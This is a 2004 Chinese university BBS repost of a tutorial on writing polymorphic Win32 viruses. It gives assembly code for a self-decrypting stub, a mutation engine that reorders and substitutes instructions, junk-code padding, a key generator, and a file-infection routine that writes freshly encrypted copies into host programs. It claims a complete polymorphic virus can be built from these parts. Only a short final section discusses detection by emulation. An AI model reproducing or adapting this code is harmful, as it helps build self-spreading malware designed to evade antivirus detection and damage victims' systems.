Virus 版 (精华区)

发信人: Kernel (Kermit), 信区: Virus
标  题: 简单多态理论(zz)
发信站: 哈工大紫丁香 (Sun Mar 28 18:13:41 2004), 站内信件


简单多态理论 
  
一.什么是多态 
    学习多态必须具备Win32病毒和加密病毒的前序知识。 
多态病毒:改进了的加密病毒,由变化的解密头和加密的代码组成。多态病毒运行时, 

先执行的是解密代码,对加密代码解密,然后执行刚解密的代码,也就是实现传播的主 

体代码。下面来看看多态病毒的框架。 
I 3  MOV ECX , VIRUS_SIZE 
I 3  MOV EDI, offset EncrptStart 
VIRUS_SIZE是加密代码的长度, offset EncrptStart是加密代码的起始地址,key是密 

钥,密钥以及这些解密代码都是随机生成的,不同的感染会不一样. 
INSTRLEN   equ   10 
I3    macro   code1_2 , code3 
      local   s,e 
s:    code1_2 , code3              ;e.g. MOV EAX,EBX 
e:    db      INSTRLEN-(e-s) dup (90h) 
endm 
I2    形如 I3 
DecrptLoop: 
I 3  XOR byte ptr [EDI],key 
I 2  INC  EDI 
I2  LOOP  DecrptLoop 
加密后的病毒代码 
可以发现,如果去掉I*宏,就是一个普通的加密病毒,如果去掉LOOP以前的代码,就成 

了一个普通病毒。使用I*宏是为了简化代码,否则就要这样写: 
MOV ECX,VIRUS_SIZE 
GarbageCode            Garbage Code 
… 
MOV EDI,offset EncryptStart 
GarbageCode                            Garbage Code 
… 
下面我们来看看这段多态代码和普通的加密的不同之处,具体体现在: 
1. 每条解密指令都不是固定的,我们看到的上面的固定代码实际上只是一种可能,病 

毒每次复制自身的时候,这些代码都会随机改变。 
2. 密钥在复制自身时,也要重新生成。 
3. I*宏使得每条指令占用10个字节的空间(之所以选择10个字节,是因为几乎所有指 

令,特别是病毒常用的,都小于10个字节,保证了有剩余空间,又不会造成太大浪费, 

是一种折衷)在10个字节的剩余空间中插入随机生成的垃圾代码,这些垃圾代码也是随 

机选择的。 
综上,因为解密代码几乎没有规律可寻,而其他代码又经过加密,所以整个病毒代码都 

不是固定的,如果指望能够从这些代码中找到固定的病毒特征码是徒劳的,也就是由于 

这种多态(变形)病毒的出现,使利用简单特征码进行病毒检测的技术走到了尽头。 
实际的多态病毒比我们上面提供的例子要复杂得多,在病毒生成的解密代码中,使用的 

指令千奇百怪,甚至包括了很多完全没有实际作用,只是迷惑分析者的指令序列。上面 

的例子中,解密的流程是固定的,只是解密使用的数据和寄存器变化,而很多多态病毒 

连指令序列都是随机的,使用的指令也基本上涵盖了整个英特尔80x86的指令集。 
还有一些更加恐怖的多态病毒,他们使用的指令甚至是一些英特尔都没有公布的指令, 

比如说CS:NOP什么的,也就是给空指令NOP加上CS前缀,这些指令你在任何英特尔的参 

考书上都找不到,但是它确确实实可以执行,在多态病毒中使用这种指令给病毒分析者 

带来了巨大的难度。 
  
二.多态病毒的级别与标准 
根据病毒使用多态技术的复杂程度,我们可以将多态病毒划分成下面几个级别: 
1.半多态:病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和 

感染。 
2.具有不动点的多态:病毒有一条或者几条语句是不变的(我们把这些不变的语句叫做 

不动点),其他病毒指令都是可变的。 
3.带有填充物的多态:解密代码中包含一些没有实际用途的代码来干扰分析者的视线。 

  
4.算法固定的多态:解密代码所使用的算法是固定的,但是实现这个算法的指令和指令 

的次序是可变的。 
5.算法可变的多态:使用了上述所有的技术,同时解密的算法也是可以部分或者全部改 

变的。 
6.完全多态:算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运 

行的时候能够进行拼装,并且可以正常工作。 
对于前面3种多态病毒,使用病毒特征码或者改进后的病毒特征码是可以发现病毒的(所

 
谓的改进后的特征码,就是包括一些非比较字节的特征串),对于第4种多态病毒,由于

 
代码的变化是有限的,所以通过增加多种情况的改进后的特征码,应该也可以处理。本 

文的多态就是第4种。至于第5和第6种多态病毒,依靠传统的特征码技术是完全无能为力

 
的。 
一个真正意义的多态应该可以创建每次都不同的自解密代码和不同的加密代码。 
一个好的多态引擎应该可以作到: 
创建不同的解密代码 
产生不同的指令,完成相同的功能 
这些指令集可以交换位置 
在真实的解密代码中间创建垃圾指令 
可移动(可以包含在任意程序中) 
所有的是机制必须随机进行 
解密器大小可变 
尽量快且小 
当然,解密器越大越复杂,效果越好,但也越慢,必须找到一个平衡点。 
  
三.多态病毒的原理 
1. 最简单的多态病毒: 
VStart: 
I2    call    start                                 ;1 
start: 
        I2    pop    ebx                                     ;2 
I3    sub    ebx , offset start                     ;3 
I3    mov    ecx , VEnd – EncryptStart              ;4 
      I3    lea     edi , [offset  EncryptStart+ebx]       ;5 
      DecryptLoop: 
I3    xor     [edi] , byte ptr  00h                  ;6 
DecryptKey      =      byte ptr $ - 1                         ;7 
        I3    inc     edi                                    ;8 
        I2    loop    DecryptLoop                            ;9 
EncryptStart: 
call   GetKBase ;从这里开始就是我们熟悉的了。 
        call   GetAPIz 
call   InfectThread 
Ret2Host: 
        push  HostEntry[ebx] 
        ret 
这段代码的工作流程是: 
1.      1.      获得重定位信息 
2.      2.      将加密代码的偏移保存在edi中,将加密代码的大小保存在ecx中。 

  
3.循环解密每一个字节。 
4. 解密完成后,病毒主体开始执行,进行获得地址,判断发作,感染文件,返回宿主 

等病毒的常规工作。 
必须注意的是:我们的程序第一次运行时,EncryptStart开始的代码并没有被加密,此 

时key必须等于0,任何字节与0 XOR后才不会改变。可是,当病毒复制自身的时候,写入

 
其他文件内部的代码才是加密的,当然,写入的key值已不再是0,EncryptStart开始的 

代码也已经被加密,当这个染毒文件执行时,解密代码才会真正发挥作用。 
2.  改变指令顺序 
多态很重要的一个工作就是可以交换解密指令位置,仅这个特性就可以使字符串扫描失 

效。上面的[1]-[9]可排列的指令具有如下规则: 
指令 [1-3] 顺序不能改变 
指令 [4]可以在VStartàDecryptLoop之间的任何地方 
指令 [5] 必须在指令[3]之后,指令[6]之前 
指令 [6] –> [9] 顺序不能改变。 
根据这个原则,可能改变采用的指令序列是: 
[1] [2] [3] [4] [5] [6] [7] [8] [9] 
[1] [4] [2] [3] [5] [6] [7] [8] [9] 
[1] [2] [4] [3] [5] [6] [7] [8] [9] 
[4] [1] [2] [3] [5] [6] [7] [8] [9] 
[1] [2] [3] [5] [4] [6] [7] [8] [9] 
…  之所以改变的方案不多,是因为这个解密器太小,但思路和原理就是这样。 
3.改变解密指令 
改变指令是多态最重要的部分,多态应该可以如下变换指令: 
1)  把单条指令展开为复杂的指令集 
例如:        STOSD              ->       MOV      [EDI],EAX  ,      ADD 
  EDI,4 
MOV  EAX,EDX  ->  PUSH  EDX        ,  POP   EAX 
POP   EAX       ->  MOV  EAX,[ESP]   ,  ADD  ESP,4 
2)  把已知的指令集转换为单条指令 
例如:        MOV      [EDI],EAX  \ 
        ADD   EDI,4       ->    STOSD 
                 PUSH     EDX         \ 
            XCHG  EAX,EDX          -->              MOV      EAX,EDX 
                 POP      EDX         / 
3)        3)        把指令变换为相同功能的指令 
例如: XOR   EXX,EXX   <->     SUB  EXX,EXX 
       ADD   EXX,1      <->     INC   EXX 
以上指令都做相同的事情,我们可以随机选择一个,然后再在空隙中插入垃圾指令来达 

到每条指令占用的最大空间。下面来以mov指令为例,说明变换的过程: 
   push  4                         ;可选指令数目 
   call  Random                    ;返回值在eax中 
   call  WriteDecryptCode 
   dd    offset I1,I2-I1,offset I2,I3-I2,offset I3,I4-I3,offset I4,IEnd-I4 
   I1:   mov  ebx  , 1000h 
I2:   push 1000h 
pop  ebx 
   I3:   xor  ebx  , ebx 
   or   ebx  , 1000h 
   I4:   sub  ebx  , ebx 
         xor  ebx  , 1000h 
   IEnd: 
WriteDecryptCode: 
     pop   esi 
     add   esi,eax*8 
     mov   ecx,[esi+4] 
     mov   esi,[esi] 
     rep   movsb                 ;edi已指向一块存放病毒代码的内存 
至此,随机地写入了一条指令。 
  
4.随机数的生成 
因为多态必须建立在随机过程上,不可以有规律可寻,所以选择一个好的随机数算法是 

非常重要的事情,现在让我们看一下最常见的随机算法: 
         Random PROC  Seed: DWORD    ;返回值在eax中。 
                 mov   eax , 12345678h 
                 _GetTickCount  = dword ptr $-4 
                 call  eax 
                 xor   edx , edx 
                 div   Seed 
                 xchg  edx , eax    ;需要的是余数,在edx中。 
                 ret   4 
         Random   ENDP 
这段代码利用时间除以种子得到的余数作为随机数,是最简单的算法。可以选择其他复 

杂的多,效果也更好的算法。 
  
5.垃圾代码的产生 
   选择垃圾代码的原则: 
   1)不能影响任何寄存器(当然,eip是一定要改变的)和标志位的状态。 
   2)不能修改程序中的任何数据 
   总之,一句话,不可以干扰程序的正常运行。可以选择的垃圾代码类似下面的指令(

 
篇幅所限,只提供一小部分) 
1)单字节垃圾指令 
grb1:         nop 
           cld 
           cs: 
                  ds: 
                  es: 
                  fs: 
2)双字节垃圾指令 
grb2:         pushfd 
           popfd 
                  pushad 
                  popad 
                  push     eax 
                  pop      eax 
                  push     ebx 
                  pop      ebx 
                  push     ecx 
                  pop      ecx 
                  push     edx 
                  pop      edx 
                  push     esp 
                  pop      esp 
           … 
                  push     edi 
                  pop      edi 
                  mov      eax,eax 
           … 
                  xchg     edx,edx 
                  xchg     esi,esi 
                 jmp      $+2 
3) 三字节垃圾指令 
grb3:       xor      eax,0 
                  add      eax,0 
                  sub      eax,0 
           … 
                  or       eax,0 
                  and      eax,-1 
      grb6:db     81h,0C0h,0,0,0,0     ;add eax , 0 
                  db       81h,0C8h,0,0,0,0     ;or     eax , 0 
                  db       81h,0E0h,-1,-1,-1,-1  ;and eax , -1 
                  db       81h,0E8h,0,0,0,0     ;sub eax , 0 
                  db       81h,0F0h,0,0,0,0           ;xor        eax , 0 
写入一条解密指令后,在空隙处(10-解密指令长度)写入垃圾代码,方法和随机选择指

 
令是基本一样的。 
  
5. 多态复制自身时的特殊性 
   我们知道,普通病毒复制自身只要简单的调用WriteFile(offset VStart,VIRUS_SIZ 

E…) 
就可以了,而多态病毒的复制过程要复杂一些,它可以分为3个步骤: 
   1)生成并写入解密代码 
每次感染文件的时候,都要变化解密代码,这就要先对解密代码进行一次处理,用相同 

功能的指令以一定的概率替换原有指令,再以随机的垃圾代码填充空隙后即可写入到宿 

主文件。 
   2)生成并写入密钥 
密钥是要每次重新生成的,动态生成一个新的密钥,然后写入。 
   3)写入病毒加密部分 
这部分也是病毒的主体,可不能直接写入,要用新密钥加密后才可。 
这样,染毒文件内部的病毒体就是一个全新的,和刚才的病毒体不同的代码了。下面给 

出部分伪码: 
InfectFile : 
push     … 
push     VEnd - VStart 
        push     NULL 
        call      VirtualAlloc 
        mov      pMem, eax          ;动态分配一块空间存放病毒 
        mov      edi , eax 
        mov      esi,offset VStart 
        mov      ecx,VEnd - VStart 
        rep       movsb              ;把病 究 贝过去 
        push     EncryptStart - VStart 
        pop      ecx 
        mov     edi,pMem            ;变化解密代码 
        call      PME32              ;PME32是多态引擎,实现方法上面分析了 
        mov      edi,pMem 
        add       edi,DecryptKey - VStart 
        push      -1 
        call       Random             ;重新生成密钥 
        stosd                          ;写入密钥 
        mov      edi,pMem 
        add       edi,EncryptStart - VStart 
        mov      ecx, VEnd - EncryptStart 
EncryptLoop: 
        xor       byte ptr [edi] , eax       ;eax中存放着密钥 
        inc       edi 
        loop      EncryptLoop 
        call       CreateFile 
        push      pMem 
        call       WriteFile              ;至此,感染文件完毕 
可以看到,这段代码先向欲感染的文件写入随机的解密头,密钥,然后写入加密代码, 

保证每次感染时写入的代码不同。至此,一个完整的多态病毒应该可以构造出来了。 
  
四.对策 
对付多态病毒的最好办法是某种形式的虚拟执行技术,也就是仿真出一个80x86的CPU, 

让解密代码自己解密完成之后,再使用通常的特征码识别法进行病毒检测。但是针对这 

种仿真技术也出现了一些具有反仿真技术的病毒,比如说根据执行所需要的时间判断是 


否处于虚拟机的监视下,在监视下和非监视下表现出完全不同的行为。因此,衡量多态 

病毒的难度、复杂性和检测的困难程度可以从下面几个方面进行: 
采用算法的复杂性,是否采用了非公开、非标准的80x86指令,是否使用了大量的寻址方

 
法和多种类型的指令实现解密算法。 
是否使用了反仿真(虚拟执行)技术。 
是否采用了可变的加密/解密算法。 
解密代码是否具有充分的随机性。 
结束语 
关于更高级的多态技术(EPOLY,Advanced POLY)以及启发式查毒原理将在后续文章中讨

 
论,在这里我不可能再进一步详细的描述多态病毒的技术和发展了,目前有一些多态病毒

 
所使用的技术已经给反病毒软件带来了极大的困难。只有深入的了解多态病毒的原理, 

才能有效的对抗多态病毒。 

--

※ 来源:.哈工大紫丁香 bbs.hit.edu.cn [FROM: 218.108.229.59]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:207.265毫秒